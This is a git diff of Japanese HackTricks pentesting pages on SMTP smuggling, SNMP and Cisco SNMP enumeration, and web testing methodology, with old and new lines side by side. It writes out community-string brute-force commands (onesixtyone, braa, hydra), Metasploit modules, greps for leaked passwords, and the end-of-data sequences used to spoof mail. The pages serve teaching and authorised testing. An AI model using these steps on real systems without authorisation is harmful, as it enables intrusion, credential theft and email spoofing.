**RCE 脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例**は [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) で見つけることができます。
**RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してハッキングトリックを共有してください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。
</details>
{% endhint %}

View file

@ -17,29 +17,29 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## 基本情報
このタイプの脆弱性は、[**この投稿で最初に発見されました**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)。ここでは、メールを最終的に送信する際のSMTPプロトコルの解釈の違いを**悪用することが可能である**と説明されています。これにより、攻撃者は正当なメールの本文に他のメールを密輸し、影響を受けたドメインの他のユーザー例えば、admin@outlook.comを偽装することができ、SPFなどの防御を回避します。
このタイプの脆弱性は、[**この投稿で最初に発見されました**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) で説明されているように、メールを最終的に送信する際のSMTPプロトコルの解釈の違いを**悪用することが可能である**ことが示されています。これにより、攻撃者は正当なメールの本文に他のメールを密輸し、影響を受けたドメインの他のユーザー例えば、admin@outlook.comを偽装することができ、SPFなどの防御を回避します。
### なぜ
これは、SMTPプロトコルでは、メールで送信される**メッセージのデータ**がユーザー(攻撃者)によって制御されており、特別に作成されたデータを送信することで、受信者に追加のメールを密輸するためのパーサーの違いを悪用できるからです。元の投稿からのこの図解例を見てください:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### どのように
この脆弱性を悪用するために、攻撃者は**Outbound SMTPサーバーが1のメールだと考えるデータを送信し、Inbound SMTPサーバーが複数のメールがあると考える必要があります**。
この脆弱性を悪用するために、攻撃者は**Outbound SMTPサーバーが1のメールだと考えるデータを送信し、Inbound SMTPサーバーが複数のメールがあると考える必要があります**。
研究者たちは、異なる**Inboundサーバーがメールメッセージのデータの終わりとして異なる文字を考慮する**ことを発見しましたが、Outboundサーバーはそうではありません。\
例えば、データの通常の終わりは`\r\n.\r`です。しかし、Inbound SMTPサーバーが`\n.`もサポートしている場合、攻撃者は**そのデータをメールに追加し、新しいメールのSMTPコマンドを示し始めることができます**。前の画像のように密輸するために。
例えば、データの通常の終わりは `\r\n.\r` です。しかし、Inbound SMTPサーバーが `\n.` もサポートしている場合、攻撃者はそのデータをメールに追加し、新しいメールを密輸するためのSMTPコマンドを示し始めることができます。前の画像のように。
もちろん、これは**Outbound SMTPサーバーがこのデータをメッセージデータの終わりとして扱わない場合にのみ機能します**。そうでない場合、1通ではなく2通のメールとして認識されるため、最終的にはこの脆弱性で悪用される非同期化が発生します。
もちろん、これは**Outbound SMTPサーバーがこのデータをメッセージデータの終わりとして扱わない場合にのみ機能します**。そうでない場合、1つではなく2つのメールが見えるため、最終的にはこの脆弱性で悪用される非同期化が発生します。
潜在的な非同期化データ:
* `\n.`
* `\n.\r`
また、SPFが回避されることに注意してください。なぜなら、`user@outlook.com`から`admin@outlook.com`のメールを密輸すると、**送信者は依然として`outlook.com`だからです。**
また、SPFが回避されることに注意してください。なぜなら、`user@outlook.com` からのメールから `admin@outlook.com` のメールを密輸すると、**送信者は依然として `outlook.com` だからです。**
## **参考文献**

View file

@ -1,8 +1,8 @@
# 161,162,10161,10162/udp - Pentesting SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -29,13 +29,13 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
SNMPは、**162/UDP**ポートも**トラップ**に使用します。これは、**SNMPサーバーからクライアントに明示的に要求されることなく送信されるデータパケット**です。
SNMPは、**162/UDP**ポートも**トラップ**に使用します。これは、**明示的に要求されることなくSNMPサーバーからクライアントに送信されるデータパケット**です。
{% endhint %}
### MIB
SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBにはデータは含まれていません**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
### OIDs
@ -43,31 +43,31 @@ MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキ
MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準の枠組みが確立されます。
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準にわたるさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`: [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコルSNMP変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。そして、このOIDからの**保留中のOID**からは、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコルSNMP変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。また、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
### **OIDの例**
[**こちらからの例**](https://www.netadmintools.com/snmp-mib-and-oids/):
[**こちらの例**](https://www.netadmintools.com/snmp-mib-and-oids/)
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
このアドレスの内訳は次のとおりです。
このアドレスの内訳は以下の通りです。
* 1 これはISOと呼ばれ、これがOIDであることを示します。すべてのOIDが「1」で始まる理由です。
* 1 これはISOと呼ばれ、OIDであることを示します。すべてのOIDが「1」で始まる理由です。
* 3 これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。
* 6 これはdodまたは国防総省で、インターネットを最初に確立した組織です。
* 6 これはdodまたは国防総省で、最初にインターネットを確立した組織です。
* 1 これはインターネットの値で、すべての通信がインターネットを通じて行われることを示します。
* 4 この値は、このデバイスが政府機関ではなく民間組織によって製造されたことを示します。
* 1 この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。
これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数字のシーケンスは、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。
これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数は、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。
次の数のセットに進みます。
次の数のセットに進みます。
* 1452 このデバイスを製造した組織の名前を示します。
* 1 デバイスのタイプを説明します。この場合、アラーム時計です。
@ -85,7 +85,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
### SNMPバージョン
SNMPには2つの重要なバージョンがあります
SNMPには2つの重要なバージョンがあります
* **SNMPv1**: 主なもので、最も頻繁に使用されており、**認証は文字列**(コミュニティ文字列)に基づいており、**平文**で送信されます(すべての情報が平文で送信されます)。**バージョン2および2c**も**平文でトラフィックを送信**し、**コミュニティ文字列を認証**として使用します。
* **SNMPv3**: より良い**認証**形式を使用し、情報は**暗号化**されて送信されます(**辞書攻撃**は実行可能ですが、SNMPv1およびv2よりも正しいクレデンシャルを見つけるのがはるかに難しくなります
@ -93,13 +93,13 @@ SNMPには2つの重要なバージョンがあります。
### コミュニティ文字列
前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cではコミュニティ文字列を知っている必要があり、バージョン3では資格情報が必要です。**\
**2種類のコミュニティ文字列**があります
**コミュニティ文字列には2種類あります**
* **`public`** 主に**読み取り専用**機能
* **`private`** **読み書き**一般
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません。**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります。**\
オブジェクトに**書き込もうとすると、**`noSuchName`または`readOnly`エラー**が受信されます\*\*.\*\*
オブジェクトに**書き込もうとすると、`noSuchName`または`readOnly`エラー**が受信されます\*\*.\*\*
バージョン1および2/2cでは、**悪い**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。
@ -117,7 +117,7 @@ SNMPには2つの重要なバージョンがあります。
## SNMPの列挙
デバイスから収集した**各OIDの意味を確認するために、以下をインストールすることをお勧めします**:
デバイスから収集した**各OIDの意味を確認するために、以下をインストールすることをお勧めします**
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
extended queries (download-mibs)のおかげで、次のコマンドを使用してシステムについてさらに多くの情報を列挙することが可能です:
extended queriesdownload-mibsのおかげで、次のコマンドを使用してシステムについてさらに多くの情報を列挙することが可能です:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@ -154,14 +154,14 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### アクセス設定
**フルOIDツリー**へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です
**完全OIDツリー**へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です
1. **`rwuser noauth`** は、認証なしでOIDツリーへのフルアクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。
1. **`rwuser noauth`** は、認証なしでOIDツリーへの完全アクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。
2. より具体的な制御のために、次のようにアクセスを付与できます:
* **`rwcommunity`** は**IPv4**アドレス用、そして
* **`rwcommunity6`** は**IPv6**アドレス用です。
両方のコマンドは**コミュニティストリング**と関連するIPアドレスを必要とし、リクエストの起源に関係なくフルアクセスを提供します。
両方のコマンドは**コミュニティ文字列**と関連するIPアドレスを必要とし、リクエストの起源に関係なく完全なアクセスを提供します。
### Microsoft WindowsのSNMPパラメータ
@ -185,19 +185,19 @@ Cisco機器を使用している場合は、このページを参照してくだ
## SNMPからRCEへ
SNMPサービス内で**値を書き込む**ことを許可する**ストリング**を持っている場合、それを悪用して**コマンドを実行**できるかもしれません:
SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**できるかもしれません:
{% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md)
{% endcontent-ref %}
## **マッシブSNMP**
## **大規模SNMP**
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろんSNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、非常に速くスキャンを行います。
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろんSNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、そして単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。
Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
**構文:** braa \[コミュニティストリング\]@\[\[SNMPサーバーのIP\]:\[iso id\]
**構文:** braa \[コミュニティ文字列\]@\[\[SNMPサーバーのIP\]:\[iso id\]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -207,7 +207,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
### **デバイス**
プロセスは、各ファイルからデバイスを特定するために**sysDesc MIBデータ**1.3.6.1.2.1.1.1.0)を抽出することから始まります。これは**grepコマンド**を使用して実されます:
プロセスは、各ファイルからデバイスを特定するために**sysDesc MIBデータ**1.3.6.1.2.1.1.1.0)を抽出することから始まります。これは**grepコマンド**を使用して実されます:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
@ -219,7 +219,7 @@ grep -i "trap" *.snmp
```
### **ユーザー名/パスワード**
MIBテーブルに保存されたログは、**ログオン試行の失敗**を調査するために検査され、これにはユーザー名として入力されたパスワードが偶然含まれる可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます:
MIBテーブルに保存されたログは、**ログオン試行の失敗**を調るために検査され、これにはユーザー名として入力されたパスワードが偶然含まれることがあります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます:
```bash
grep -i "login\|fail" *.snmp
```
@ -243,7 +243,7 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -286,16 +286,16 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定するため重要です。ペンテスターにとって注目すべき攻撃ベクターは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルは、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能するコミュニティ文字列に依存ています。これらの文字列は、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定するため重要です。ペンテスターにとって注目すべき攻撃ベクターは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です:
```bash
@ -31,14 +31,14 @@ onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得することが条件です。この操作に必要なパラメータは以下の通りです:
Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列の取得に依存しています。この操作に必要な基本パラメータは次のとおりです:
* RWコミュニティ文字列 (**COMMUNITY**)
* 攻撃者のIP (**LHOST**)
* ターゲットデバイスのIP (**RHOSTS**)
* 設定ファイルの保存先パス (**OUTPUTDIR**)
設定が完了すると、このモジュールはデバイスの設定を指定したフォルダーに直接ダウンロードすることができます。
設定が完了すると、このモジュールはデバイスの設定を指定されたフォルダーに直接ダウンロードすることを可能にします。
#### `snmp_enum`
@ -48,27 +48,27 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
```
## References
## 参考文献
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Info
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なるタイプの脆弱性**が存在します。
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
```bash
@ -44,7 +44,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Methodology summary
> この方法論では、あなたが攻撃するドメイン(またはサブドメイン)だけを想定します。したがって、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
* [ ] **ウェブサーバー**で使用されている**技術**を**特定**することから始めます。技術を成功裏に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
* [ ] 技術のバージョンに**既知の脆弱性**はありますか?
@ -53,9 +53,9 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
